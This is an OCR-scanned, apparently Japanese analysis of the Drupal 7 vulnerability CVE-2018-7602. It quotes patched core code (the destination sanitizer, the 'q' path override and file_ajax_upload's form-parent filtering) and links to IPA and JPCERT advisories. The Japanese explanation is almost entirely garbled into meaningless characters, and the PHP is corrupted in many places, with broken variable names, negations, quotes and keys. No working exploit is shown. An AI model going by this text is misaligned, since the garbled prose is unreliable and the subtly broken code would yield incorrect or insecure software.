ns['path'IICOE—93MEZ L TLELIEN, FZICOE—FTBBDHERHFELT I$o
ptions['query']['q' 1" XFFNTHDHBE] EWLWSEFMNEBEINESNELUZ, DIz, PoCT
RESNDMIENIZO— K& B E U TREETNDOTIE-QIENTONRIRDE
Uiz

F/z. stripDangerousValues()(&Drupal7.58 CIEIMNENIZRAELT. ZEZDILIEN [#]
o leiZa(CERGZERAF—D— REUTHS (I8N T DR TT . TDRDUIET
(F. BIRIRF—D— RONEENTULEHBE(C$_GET['destination']&$_REQUEST['destin
ation'|ZHIBRLTLWE T,

SEHREE UTZPoCIC TR ESNIDHl T =1/zZ&#RdestionationDE(F TN S DIETHIBRE
NE9, CobicL > JUUR(ICRIFEENTL\Sfile_ajax_upload()PW Tarray_filter
OICEKDTaILZ ) D TUEBRBINENTULET . array_filter) THUH SN TLBelem
ent_child()(C(&. BeFF—D5EEN [#] o EBEICH T XETNDUIBNEENT
&9,

includes/bootstrap.inc

// Use the DrupalRequestSanitizer to ensure that the destination’s query

// parameters are not dangerous.

if (isset($_GET['destination’])) {
DrupalRequestSanitizer:cleanDestination();

}
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includes/common.inc

// The 'q’ parameter contains the path of the current page if clean URLs are

// disabled. It overrides the 'path’ of the URL when present, even if clean

// URLs are enabled, due to how Apache rewriting rules work. The path

// parameter must be a string.

if (isset($options['query’l['q]) && is_string($options['query’1['q’])) {
$options['path’] = $options['query’]['q’];
unset($options['query1['qD);

}

includes/request-sanitizer.inc

/%%
* Removes the destination if it is dangerous.
*
* Note this can only be called after common.inc has been included.
*
* @return bool
* TRUE if the destination has been removed from $_GET, FALSE if not.
*/
public static function cleanDestination() {
$dangerous_keys = array();
$log sanitized_keys = variable_get('sanitize_input_logging’, FALSE);

$parts = drupal_parse_url($_GET['destination’]);
// If there is a query string, check its query parameters.
if ('empty($parts['query’]) {

$whitelist = variable_get('sanitize_input_whitelist’, array());

self::stripDangerousValues($parts['query’], $whitelist, $dangerous_keys);
if (lempty($dangerous_keys)) {
// The destination is removed rather than sanitized to mirror the
// handling of external destinations.
unset($_GET['destination’]);
unset($ REQUEST['destination’]);
if ($log_sanitized_keys) {
trigger_error(format_string('Potentially unsafe destination removed from query string parameters (GET)
because it contained the following keys: @keys’, array('@keys’ => implode(’, ’, $dangerous_keys))));
}
return TRUE;
}
}
return FALSE;
}
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modules/file.module

/%%

* Menu callback; Shared Ajax callback for file uploads and deletions.

*

* This rebuilds the form element for a particular field item. As long as the
* form processing is properly encapsulated in the widget element the form
* should rebuild correctly using FAPI without the need for additional callbacks
* or processing.

*/
function file_ajax_upload() {

$form_parents = func_get_args();

$form_build_id = (string) array_pop($form_parents);

// Sanitize form parents before using them.
$form_parents = array filter($form_parents, 'element_child’);

if (empty($_POST['form build_id’]) || $form build id '= $ POST['form build id]) {
// Invalid request.
drupal_set_message(t('An unrecoverable error occurred. The uploaded file likely exceeded the maximum file
size (@size) that this server supports.’, array('@size’ => format_size(file_upload_max_size()))), 'error’);
$commands = array();
$commands[] = ajax_command_replace(NULL, theme('status_messages’));
return array(#type’' => 'ajax’, '‘#commands’ => $commands);

}

list($form, $form_state, $form_id, $form_build_id, $commands) = ajax_get_form();

if (1$form) {
// Invalid form_build_id.
drupal_set_message(t('An unrecoverable error occurred. Use of this form has expired. Try reloading the pag
e and submitting again.’), 'error’);
$commands = array();
$commands[] = ajax_command_replace(NULL, theme('status_ messages’));
return array('#type’ => 'ajax’, '#commands’ => $§commands);

}

// Get the current element and count the number of files.
$current_element = $form;
foreach ($form_parents as $parent) {

$current_element = $current_element[$parent];

}

$current_file_count = isset(§current_element['#file_upload_delta’]) ? $current_element['#file_upload_delta’] : O;

// Process user input. $form and $form_state are modified in the process.
drupal_process_form($form['#form_id’], $form, $form_state);

// Retrieve the element to be rendered.
foreach ($form_parents as $parent) {
$form = $form[$parent];

}

// Add the special Ajax class if a new file was added.
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if (isset($form['#file_upload_delta’]) && $current file_count < $form[#file_upload_delta’]) {
$form[$current_file_count]['#attributes']['class’][] = 'ajax—new—content’;

}

// Otherwise just add the new content class on a placeholder.

else {
$form[#suffix'] .= '<span class="ajax—new—content”></span>’;

}

$form['#prefix'] .= theme('status_messages’);

$output = drupal_render($form);

$is = drupal_add_js();

$settings = drupal_array_merge_deep_array($js['settings]['data’]);

$commands[] = ajax_command_replace(NULL, $output, $settings);
return array(‘#type’ => 'ajax’, '#fcommands’ => $commands);
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HeS51E(CR T BMESE 1R

Drupal DREssEXTRICDULNVT(CVE-2018-7602) :
https://www.ipa.go.jp/security/ciadr/vul/20180426-drupal.html

Drupal DRESSH (CVE-2018-7602) (CRI T D:EEMuC .
http://www.jpcert.or.jp/at/2018/at180019.html
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